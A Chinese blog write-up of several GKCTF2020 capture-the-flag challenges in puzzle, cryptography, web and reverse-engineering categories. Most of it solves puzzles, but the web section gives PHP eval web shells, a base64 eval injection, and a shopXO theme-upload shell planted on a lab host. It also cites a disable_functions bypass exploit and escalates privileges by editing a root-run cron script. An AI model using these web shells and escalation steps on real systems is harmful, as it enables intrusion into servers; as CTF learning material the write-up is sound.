部分WP-GKCTF2020

本篇内容

MISC:

[GKCTF2020]签到
[GKCTF2020]Pokémon
[GKCTF2020]问卷调查
[GKCTF2020]code obfuscation

Crypto:

[GKCTF2020]小学生的密码学
[GKCTF2020]汉字的秘密
[GKCTF2020]babycrypto

Web:

[GKCTF2020]CheckIN
[GKCTF2020]老八小超市儿

Reverse:

[GKCTF2020]Check_1n

上一篇 | 目录 | 下一篇

[GKCTF2020]签到

比赛期间:赵总直播间(https://live.bilibili.com/772947)屏幕上有flag。
flag{Welcome_To_GKCTF_2020}





[GKCTF2020]Pokémon

贼有意思的一道题,口袋怪兽绿宝石,哈哈。
下载附件,一个gba后缀的,百度出用GBA模拟器打开就行。
W、S、A、D:上下左右移动。按住空格在按上下左右键可以加速。
K:确定
Enter键:打开菜单。
在这里插入图片描述
玩游戏到103路,草丛就是flag。
在这里插入图片描述
flag{PokEmon_14_CutE}





[GKCTF2020]问卷调查

填完问卷就给flag。
flag{I_W4nt_t0_Fu4k_GKCTF}





[GKCTF2020]code obfuscation

在这里插入图片描述
我在https://merricx.github.io/qrazybox/网址手动复原了。
在这里插入图片描述
二维码扫出 base(gkctf)。猜测是base加密的gkctf,然后就一个个尝试base家族里的算法。base58编码出密码CfjxaPF
在这里插入图片描述
解出来一张图片
在这里插入图片描述
一段杂乱的js代码,去https://tool.lu/js/尝试美化并且解密代码,整理得

for n in a b c d e f g h i j k l m n o p q r s t u v w x y z do eval An = "n"
done
for n in A B C D E F G H I J K L M N O P Q R S T U V W X Y Z do eval An = "n"
done num = 0
for n in a b c d e f g h i j do eval Bn = "n"
num = $((num + 1))
done alert("Bk=' ';Bm='"';Bn='#';Bs='(';Bt=')';By='.';Cb='';Cc='<';Ce='>';Cl='_';Cn='{';Cp='}';Da='0';Db='1';Dc='2';Dd='3';De='4';Df='5';Dg='6';Dh='7';Di='8';Dj='9';")

写py脚本跑一下:

import string
s = "$Bn$Ai$An$Ac$Al$Au$Ad$Ae$Bk$Cc$As$At$Ad$Ai$Ao$By$Ah$Ce$Ai$An$At$Bk$Am$Aa$Ai$An$Bs$Bt$Cn$Ap$Ar$Ai$An$At$Bs$Bm$Aw$Dd$Al$Ac$Da$Am$Ae$Cl$De$Ao$Cl$Dj$Ak$Ac$At$Df$Bm$Bt$Cb$Ar$Ae$At$Au$Ar$An$Bk$Da$Cb$Cp"
ll = s.split('$')
list1 = ['Bk','Bm','Bn','Bs','Bt','By','Cb','Cc','Ce','Cl','Cn','Cp',
'Da','Db','Dc','Dd','De','Df','Dg','Dh','Di','Dj']
list2 = [' ','"','#','(',')','.','','<','>','_','{','}','0','1','2','3','4','5','6','7','8','9']
list3 = []
list4 = []
s = string.ascii_lowercase
for i in s:
	list3.append('A%s'%i)
	list4.append(i)
#print(list3,'\n',list4)

t = ''
for i in range(0,len(ll)):
	for j in range(0,len(list1)):
		if ll[i]==list1[j]:
			t += list2[j]
	for k in range(0,len(list3)):
		if ll[i]==list3[k]:
			t +=list4[k]
print(t)

运行
在这里插入图片描述
flag为flag{w3lc0me_4o_9kct5}





[GKCTF2020]小学生的密码学

e(x)=11x+6(mod26)
密文:welcylk
(flag为base64形式)

一看就是仿射加密了
在这里插入图片描述
base64一下
flag为flag{c29yY2VyeQ==}





[GKCTF2020]汉字的秘密

王壮 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由
土夫 井中 士夫 王工 王人 土由 由口夫

一看就是当铺密码了,笔画中有几个出头的就对应着数字几。例如:

田:0	由:1	王:6	壮:9

写python脚本:

dh = '田口由中人工大土士王夫井羊壮'
ds = '00123455567899'

cip = '王壮 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由 土夫 井中 士夫 王工 王人 土由 由口夫'
s = ''
for i in cip:
	if i in dh:
		s += ds[dh.index(i)]
	else:
		s += ' '
#print(s)

ll = s.split(" ")
t = ''
for i in range(0,len(ll)):
	t += chr(int(ll[i])+i+1)
print('t=', t, '\t\tt.lower()=', t.lower())

在这里插入图片描述
flag为flag{you_are_good}





[GKCTF2020]babycrypto

# n:0xb119849bc4523e49c6c038a509a74cda628d4ca0e4d0f28e677d57f3c3c7d0d876ef07d7581fe05a060546fedd7d061d3bc70d679b6c5dd9bc66c5bdad8f2ef898b1e785496c4989daf716a1c89d5c174da494eee7061bcb6d52cafa337fc2a7bba42c918bbd3104dff62ecc9d3704a455a6ce282de0d8129e26c840734ffd302bec5f0a66e0e6d00b5c50fa57c546cff9d7e6a978db77997082b4cb927df9847dfffef55138cb946c62c9f09b968033745b5b6868338c64819a8e92a827265f9abd409359a9471d8c3a2631b80e5b462ba42336717700998ff38536c2436e24ac19228cd2d7a909ead1a8494ff6c3a7151e888e115b68cc6a7a8c6cf8a6c005L
# e:65537
# enc:1422566584480199878714663051468143513667934216213366733442059106529451931078271460363335887054199577950679102659270179475911101747625120544429262334214483688332111552004535828182425152965223599160129610990036911146029170033592055768983427904835395850414634659565092191460875900237711597421272312032796440948509724492027247376113218678183443222364531669985128032971256792532015051829041230203814090194611041172775368357197854451201260927117792277559690205342515437625417792867692280849139537687763919269337822899746924269847694138899165820004160319118749298031065800530869562704671435709578921901495688124042302500361
# p>>128<<128:0xe4e4b390c1d201dae2c00a4669c0865cc5767bc444f5d310f3cfc75872d96feb89e556972c99ae20753e3314240a52df5dccd076a47c6b5d11b531b92d901b2b512aeb0b263bbfd624fe3d52e5e238beeb581ebe012b2f176a4ffd1e0d2aa8c4d3a2656573b727d4d3136513a931428b00000000000000000000000000000000L

直接百度一下,是已知p的高位,将低位给搞出来。
使用的sagemath。参考Zui-Qing-Feng/RSA

n = 0xb119849bc4523e49c6c038a509a74cda628d4ca0e4d0f28e677d57f3c3c7d0d876ef07d7581fe05a060546fedd7d061d3bc70d679b6c5dd9bc66c5bdad8f2ef898b1e785496c4989daf716a1c89d5c174da494eee7061bcb6d52cafa337fc2a7bba42c918bbd3104dff62ecc9d3704a455a6ce282de0d8129e26c840734ffd302bec5f0a66e0e6d00b5c50fa57c546cff9d7e6a978db77997082b4cb927df9847dfffef55138cb946c62c9f09b968033745b5b6868338c64819a8e92a827265f9abd409359a9471d8c3a2631b80e5b462ba42336717700998ff38536c2436e24ac19228cd2d7a909ead1a8494ff6c3a7151e888e115b68cc6a7a8c6cf8a6c005L
p_fake = 0xe4e4b390c1d201dae2c00a4669c0865cc5767bc444f5d310f3cfc75872d96feb89e556972c99ae20753e3314240a52df5dccd076a47c6b5d11b531b92d901b2b512aeb0b263bbfd624fe3d52e5e238beeb581ebe012b2f176a4ffd1e0d2aa8c4d3a2656573b727d4d3136513a931428b00000000000000000000000000000000L

pbits = 1024  
kbits = 128
pbar = p_fake & (2^pbits-2^kbits)  
print ("upper %d bits (of %d bits) is given" % (pbits-kbits, pbits))
   
PR.<x> = PolynomialRing(Zmod(n))  
f = x + pbar  
x0 = f.small_roots(X=2^kbits, beta=0.4)[0]  # find root < 2^kbits with factor >= n^0.3  
p = int(x0 + pbar)
print('p=',p)

在这里插入图片描述
得出p就可以求出q
在这里插入图片描述

q = n/p = 139091353059018128421744751525080056530307965918298875691299992775484064426591581456998968315582349027071987206340653988925923465225471661893944397744293391269274124345189028818977002600599732469824164218366399726233373069742839737062004061244787413638290767590029376062508897417109117189614458570241407458359

写python脚本:

import gmpy2 as gp 
import binascii
p = 160734387026849747944319274262095716650717626398118440194223452208652532694713113062084219512359968722796763029072117463281356654614167941930993838521563406258263299846297499190884495560744873319814150988520868951045961906000066805136724505347218275230562125457122462589771119429631727404626489634314291445667
q = 139091353059018128421744751525080056530307965918298875691299992775484064426591581456998968315582349027071987206340653988925923465225471661893944397744293391269274124345189028818977002600599732469824164218366399726233373069742839737062004061244787413638290767590029376062508897417109117189614458570241407458359
e = 65537
c = 1422566584480199878714663051468143513667934216213366733442059106529451931078271460363335887054199577950679102659270179475911101747625120544429262334214483688332111552004535828182425152965223599160129610990036911146029170033592055768983427904835395850414634659565092191460875900237711597421272312032796440948509724492027247376113218678183443222364531669985128032971256792532015051829041230203814090194611041172775368357197854451201260927117792277559690205342515437625417792867692280849139537687763919269337822899746924269847694138899165820004160319118749298031065800530869562704671435709578921901495688124042302500361
p = gp.mpz(p)
q = gp.mpz(q)
e = gp.mpz(e)
c = gp.mpz(c)

n = p*q
phi = (p-1) * (q-1)
d = gp.invert(e, phi)
#print('d=',d)
m = pow(c, d, n) 
#print('m=',m)
print('hex(m)=',hex(m)[2:])
print('bytes.fromhex(hex(m)=',bytes.fromhex(hex(m)[2:]))

在这里插入图片描述
flag为flag{3d0914a1-1e97-4822-a745-c7e20c5179b9}





[GKCTF2020]CheckIN
在这里插入图片描述
代码很简单,就是相当于:

<?php
$a = $_REQUEEST['Ginkgo'];
$b = @base64_decode($a);
@eval($b);
?>

首先查看phpinfo()。

phpinfo(); --> cGhwaW5mbygpOw== --> cGhwaW5mbygpOw%3d%3d

在这里插入图片描述
成功回显。
尝试一句话蚁剑连接。

eval($_POST[123]); --> ZXZhbCgkX1BPU1RbMTIzXSk7

在这里插入图片描述
在根路径(/)下看到flag,但是没权限查看。还有一个readflag文件,查看一下可以发现此文件的内容还含有cat /flag内容,猜测是执行此文件。
但是蚁剑的虚拟终端在这不能用,然后回到之前的phpinfo()发现禁了很多的方法。
在这里插入图片描述
过滤了这么多的function,想到绕过disable_functions,以前做过类似的题目。
上传一个文件使其执行任意命令,exp来自https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
在这里只需要改动一行就可以了。
在这里插入图片描述
首先需要上传,利用蚁剑完成上传。
在这里插入图片描述
然后在页面中包含即可得到flag。
在这里插入图片描述





[GKCTF2020]老八小超市儿
在这里插入图片描述
链接一打开,庞大的系统,猜测又是某漏洞,直接百度shopXO漏洞,第一条就是漏洞复现。以下参考:渗透测试|shopxo后台全版本获取shell复现
访问后台管理界面admin.php
在这里插入图片描述
在后台找到应用中心-应用商店-主题,然后下载默认主题。
在这里插入图片描述
下载下来的主题是一个安装包,然后把shell放到压缩包的default\_static_目录下:
123.php的内容为:

<?php
echo 'Airrudder';
eval($_POST[123]);
?>

在这里插入图片描述

注意不要这样操作:先解压,然后放进去,然后再压缩回去。
我试过,不知道为啥就是行不通。

回到网页上,找到网站管理-主题管理-主题安装,选择加入shell后的主题压缩包进行上传。
在这里插入图片描述
安装成功后,shell就可以用了,地址是:

http://c8da481d-215d-4fe0-9b4c-a1a683fa9442.node3.buuoj.cn/public/static/index/default/123.php

在这里插入图片描述
使用蚁剑连接:
在这里插入图片描述
然后在根路径下发现flag,说是假的flag,真的在/root下:

flag{this_is_fake_flag/true_flag_in_/root}

flag.hint:

Sun May 24 13:24:10 2020
Get The RooT,The Date Is Useful!

auto.sh

#!/bin/sh
while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done

auto.sh执行/var/mail/makeflaghint.py,这就是我们利用的点。
修改/var/mail/makeflaghint.py,加入两行内容读取/root/flag/flag.hint

ff = io.open("/root/flag", "rb+")
f.write(str(ff.read()))

在这里插入图片描述
然后再去查看flag.hint就能拿到flag。
在这里插入图片描述





[GKCTF2020]Check_1n

挺有意思的一道题。
模拟XP开机,需要密码,直接用ida打开,Shift+F12发现了一些有用字符:

V2h5IGRvbid0IHlvdSB0cnkgdGhlIG1hZ2ljIGJyaWNrIGdhbWU= Base64解码为:Why don't you try the magic brick game
还有flag,flag.txt,HelloWorld

尝试了一些后发现密码就是HelloWorld。
在这里插入图片描述
进入后查看一下flag是假flag,提示就是之前在ida看到的那个,也就是需要打砖块:
在这里插入图片描述
在这里插入图片描述
等个几秒自动就出flag:flag{f5dfd0f5-0343-4642-8f28-9adbb74c4ede}





========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/106317765
========================================================

猜你喜欢

转载自blog.csdn.net/hiahiachang/article/details/106317765